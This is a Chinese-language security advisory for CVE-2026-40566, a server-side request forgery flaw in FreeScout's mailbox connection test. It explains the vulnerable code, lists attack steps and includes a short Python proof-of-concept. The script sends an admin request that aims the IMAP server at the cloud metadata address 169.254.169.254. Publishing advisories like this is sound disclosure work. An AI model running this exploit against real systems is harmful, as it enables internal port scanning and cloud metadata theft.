IPBUF安全漏洞报告
English
CVE-2026-40566 CVSS 4.1 中危

CVE-2026-40566 FreeScout存在服务端请求伪造漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40566
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
4.1 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

SSRFFreeScout内网扫描服务指纹识别

漏洞概述

FreeScout是一款开源的自托管帮助台系统。在1.8.213版本之前,其MailboxesController中的IMAP/SMTP连接测试功能存在服务器端请求伪造(SSRF)漏洞。由于该功能未对内部IP地址和主机名进行有效验证,经过身份验证的管理员可利用此漏洞配置恶意服务器地址,触发连接测试,进而扫描内网端口、获取服务指纹信息,并在云环境中可能泄露元数据。

技术细节

该漏洞源于FreeScout的`app/Http/Controllers/MailboxesController.php`文件中的三个AJAX操作:`fetch_test`、`send_test`和`imap_folders`。这些操作直接将管理员配置的`in_server`/`in_port`和`out_server`/`out_port`参数传递给`fsockopen()`函数以及IMAP/SMTP客户端连接,且未实施任何SSRF防护措施。代码中未调用项目自身的`sanitizeRemoteUrl()`或`checkUrlIpAndHost()`函数,且`connectionIncomingSave()`中的验证块被注释掉。攻击者利用此漏洞时,首先需要具备管理员权限。通过将邮箱配置中的IMAP或SMTP服务器地址设置为内网目标IP(如169.254.169.254),并触发连接测试,服务器会建立原始TCP连接。攻击者可根据响应判断端口开放状态,实现内网端口扫描。若连接到非IMAP服务,服务的Banner或错误响应会被捕获在调试日志中并返回,从而泄露服务指纹信息,形成半盲SSRF攻击。

攻击链分析

STEP 1
步骤1
攻击者获取FreeScout管理员账户的访问权限。
STEP 2
步骤2
登录后台,进入邮箱设置页面,找到IMAP/SMTP配置部分。
STEP 3
步骤3
将接收服务器或发送服务器的地址修改为内网目标IP(如127.0.0.1或169.254.169.254)。
STEP 4
步骤4
点击“保存”或“测试连接”按钮,触发包含恶意参数的AJAX请求。
STEP 5
步骤5
服务器端接收请求,使用`fsockopen`向攻击者指定的内网地址发起连接。
STEP 6
步骤6
攻击者根据返回的响应信息(如日志中的Banner或错误信息)判断端口状态和服务类型。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://localhost" login_url = f"{target_url}/login" test_url = f"{target_url}/mailboxes/connection/incoming/fetch-test" session = requests.Session() # 1. Authenticate as Admin (Credentials required) # login_data = {"_token": "", "email": "[email protected]", "password": "password"} # session.post(login_url, data=login_data) # 2. Prepare SSRF payload # Target internal metadata service or internal port internal_target = "169.254.169.254" internal_port = 80 headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } # 3. Construct request data # Note: A valid CSRF token is required in the _token field data = { "_token": "VALID_CSRF_TOKEN_HERE", "in_server": internal_target, "in_port": internal_port, "in_encryption": "none" } # 4. Send exploit request response = session.post(test_url, headers=headers, data=data) print(f"Status Code: {response.status_code}") print("Response Data:") print(response.json()) # 5. Analyze the 'log' field in response for service banners or connection errors

影响范围

FreeScout < 1.8.213

防御指南

临时缓解措施
建议立即将FreeScout更新至1.8.213或更高版本以修复此漏洞。若无法立即更新,应严格限制管理员账户的使用,并检查网络日志中是否存在针对内部IP(如169.254.169.254)的异常连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表